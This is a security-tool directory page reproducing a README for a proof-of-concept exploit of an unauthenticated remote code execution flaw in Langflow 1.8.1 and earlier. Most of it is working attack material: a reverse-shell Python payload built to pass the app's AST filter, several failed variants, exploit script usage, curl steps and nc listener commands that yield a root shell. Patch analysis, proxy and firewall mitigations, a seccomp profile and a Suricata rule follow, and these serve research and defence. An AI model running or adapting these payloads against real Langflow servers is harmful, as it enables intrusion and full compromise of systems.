Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017 — Exploit PoC para un RCE no autenticado en Langflow <=1.8.1, que incluye análisis de causa raíz a nivel de código fuente, payload de reverse shell consciente del AST, laboratorio Docker, diff del parche y reglas de detección. | Kitploit
Herramientas/GitHubGitHub/lxxexxbxx/cve-2026-33017
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Exploit PoC para un RCE no autenticado en Langflow <=1.8.1, que incluye análisis de causa raíz a nivel de código fuente, payload de reverse shell consciente del AST, laboratorio Docker, diff del parche y reglas de detección.

Ver Repositorio
11hace 6 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Aviso legal
Este repositorio se ha creado con fines de investigación y educación en seguridad.
Úselo únicamente en entornos de laboratorio aislados.
Su uso en sistemas no autorizados constituye una infracción de la ley de redes de información y comunicaciones y está sujeto a sanciones penales.


1. Descripción general de la vulnerabilidad

CampoDescripción
CVE IDCVE-2026-33017
Software vulnerableLangflow (constructor de flujos de trabajo de IA)
Versiones afectadasLangflow ≤ 1.8.1
Versión corregidaLangflow ≥ 1.9.0
Tipo de vulnerabilidadUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVIncluida

2. Análisis de la causa de la vulnerabilidad

2-1. Endpoint vulnerable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Es un endpoint destinado a la construcción de flujos públicos (Public flow), diseñado para ser accesible sin autenticación.

2-2. Ruta de ejecución de código (cadena de llamadas)

Ruta de ejecución confirmada mediante el rastreo directo del código fuente:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. Filtrado de nodos AST: restricción clave en el diseño del payload

La función prepare_global_scope() no ejecuta todas las sentencias del código enviado. Tras el análisis AST, solo ejecuta tipos de nodo específicos:

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

Tipos de nodo AST ejecutables:

Conclusión: el payload debe escribirse obligatoriamente como una asignación Assign (_r = ...) para que se ejecute.
Una simple llamada a función (os.system("id")) se clasifica como nodo Expr y queda eliminada por el filtro.

2-4. Proceso de diseño del payload de reverse shell — análisis de intentos y fallos

Durante las pruebas se intentaron varios enfoques de payload y se identificó la causa de cada fallo a nivel de código fuente.

Intento 1 — subprocess.Popen + wait() (fallido)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

Causa del fallo: el hilo de trabajo (worker) de Langflow supervisa el valor de retorno del componente y,
al agotarse el tiempo de espera, cierra el socket a la fuerza. El bloqueo de _proc.wait() pierde todo sentido.

Intento 2 — llamada directa a os.execve() (fallido)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa del fallo: según las reglas POSIX, al invocar execve() en un proceso multihilo finalizan
todos los hilos excepto el que realiza la llamada → bloqueo completo del worker de uvicorn → HTTP 500.

Intento 3 — os.fork() + execve() (fallido)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa del fallo: uvicorn detecta que el proceso hijo ha terminado de forma anómala y reinicia el worker → HTTP 500.

Intento 4 — threading.Thread(daemon=True) (fallido)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Causa del fallo: los hilos con daemon=True se destruyen junto con el hilo principal (worker de Langflow). El hilo muere antes de que se complete la llamada a connect().

Payload final funcional — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo de elegir daemon=False:

  • daemon=True → se destruye al terminar el hilo worker de Langflow
  • daemon=False → ciclo de vida independiente del worker → permite mantener la conexión del socket

3. Configuración del entorno de laboratorio

3-1. Estructura de archivos

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. Puesta en marcha del entorno

root@kitploit:~
# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configuración de red

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. Uso del PoC

4-1. exploit.py — reverse shell

Ejecutar dentro del contenedor del atacante:

root@kitploit:~
docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opciones:

Salida esperada:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — comprobación de Blind RCE

Úselo solo para comprobar si la vulnerabilidad está presente:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Reproducción manual con curl

root@kitploit:~
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Diferencia de roles entre exploit.py y poc.py


6. Análisis del parche — 1.8.1 vs 1.9.1

6-1. Código vulnerable (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

6-2. Código del parche (1.9.1)

langflow/api/v1/chat.py (verificado directamente en el código fuente):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

6-3. Comparación del comportamiento antes y después del parche

6-4. Evaluación del diseño del parche

Motivo por el que es correcto el diseño que elimina el parámetro por completo en lugar de una mera validación de la entrada:

root@kitploit:~
취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

7. Medidas de mitigación

Medida 1 — Actualizar la versión (solución definitiva)

root@kitploit:~
pip install langflow==1.9.1

Medida 2 — Bloquear el endpoint en el proxy inverso Nginx

Ubicación del archivo: nginx.conf (nuevo)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Nota: también debe bloquearse la exposición directa del puerto 7860 de Langflow a Internet para que la medida sea efectiva.

Medida 3 — Bloquear el endpoint en el proxy inverso Apache

Ubicación del archivo:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Medida 4 — Política de no uso de flujos públicos

Si no hay flujos públicos, el endpoint devuelve 404 y el ataque no es posible.
Como política operativa, prohíba la creación de flujos públicos o cambie los flujos existentes a PRIVATE.

Medida 5 — Grupo de seguridad de AWS (nivel de red)

En un entorno EC2:

root@kitploit:~
인바운드 규칙:
  포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)

Medida 6 — Bloquear el tráfico saliente del contenedor (bloquear el callback del reverse shell)

Aunque el RCE tenga éxito, bloquee el callback externo:

root@kitploit:~
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

O en docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Medida 7 — Endurecimiento del contenedor (minimizar el impacto)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Bloquee syscalls peligrosas con un perfil seccomp (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Resumen de las medidas de mitigación


8. Detección — IoC

Patrones de detección

Petición HTTP sospechosa:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Patrones de registro (logs) del servidor Langflow:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Regla Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. Referencias

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Commit del parche oficial de Langflow
  • CISA KEV
  • JFrog Security Research

10. Diferencias con los PoC públicos existentes

Este repositorio no se limita a la ejecución de un PoC: mediante análisis a nivel de código fuente, ha identificado además lo siguiente:

  1. Descubrimiento del filtrado de nodos AST
    Se confirmó mediante análisis del código fuente que prepare_global_scope() de lfx/custom/validate.py ignora los nodos Expr. Esto permite explicar por qué el payload de simple llamada a función de los PoC públicos existentes falla en este entorno.

  2. Análisis de las causas de fallo del payload
    Se analizaron las causas de fallo de cuatro enfoques — Popen+wait(), execve(), fork()+execve() y hilos con daemon=True — desde la perspectiva de la arquitectura multihilo de uvicorn y de las reglas POSIX.

  3. Verificación directa del código del parche
    Se confirmó a nivel de código fuente el valor fijo data=None y la eliminación del parámetro en chat.py de la versión 1.9.1, y se analizó la intención del diseño del parche.

Descargar herramienta
Tipo de nodo ASTEjemplo¿Se ejecuta?
FunctionDefdef _shell(): ...✅ Sí
ClassDefclass ExploitComponent(Component)✅ Sí
Assign_r = os.system("id")✅ Sí
AnnAssign_r: int = os.system("id")✅ Sí
Expros.system("id") (llamada independiente)❌ Se ignora
OpciónDescripciónValor por defecto
--urlURL de Langflow objetivoObligatorio
--lhostIP de callback del reverse shellObligatorio
--lportPuerto de callback del reverse shellObligatorio
--flow-idUUID del flujo público (se genera automáticamente si se omite)Automático
--userID de administradoradmin
--passwordContraseña de administradoradmin123!
--no-listenDesactiva el listener integrado (al usar un nc externo)False
--timeoutTiempo de espera HTTP (segundos)30
Aspectoexploit.pypoc.py
ObjetivoObtener un reverse shellConfirmar la existencia de la vulnerabilidad (Blind RCE)
Verificación del resultadoDirectamente en la terminal del atacanteRegistros del servidor / OOB
ListenerIncluidoInnecesario
Múltiples objetivosNo compatibleCompatible (--url-file)
Uso en laboratorioDemostrar el impactoDemostrar la existencia de la vulnerabilidad
Aspecto1.8.1 (vulnerable)1.9.1 (parcheado)
Recepción del parámetro data✅ Se recibe❌ Eliminado de la firma
Ejecución de definiciones de nodo del cliente✅ Posible❌ Imposible
Origen de la definición del flujoCuerpo de la petición del clienteSolo el valor almacenado en la BD
RCE sin autenticación✅ Exitoso❌ Bloqueado
Respuesta HTTP200 + shell conectado200 (build vacío, sin nodos)
MedidaTipoEfecto
Actualizar a 1.9.1Solución definitivaEliminación del parámetro data
Bloqueo en Nginx/ApacheBloqueo de accesoBloqueo de la ruta de ataque
No usar flujos públicosBloqueo de accesoEl endpoint devuelve 404
Grupo de seguridad de AWSBloqueo de redBloqueo del acceso externo en origen
Bloqueo de tráfico salienteBloqueo posteriorBloqueo del callback del reverse shell
Endurecimiento del contenedorMinimización del impactoBloqueo de escalada de privilegios/syscalls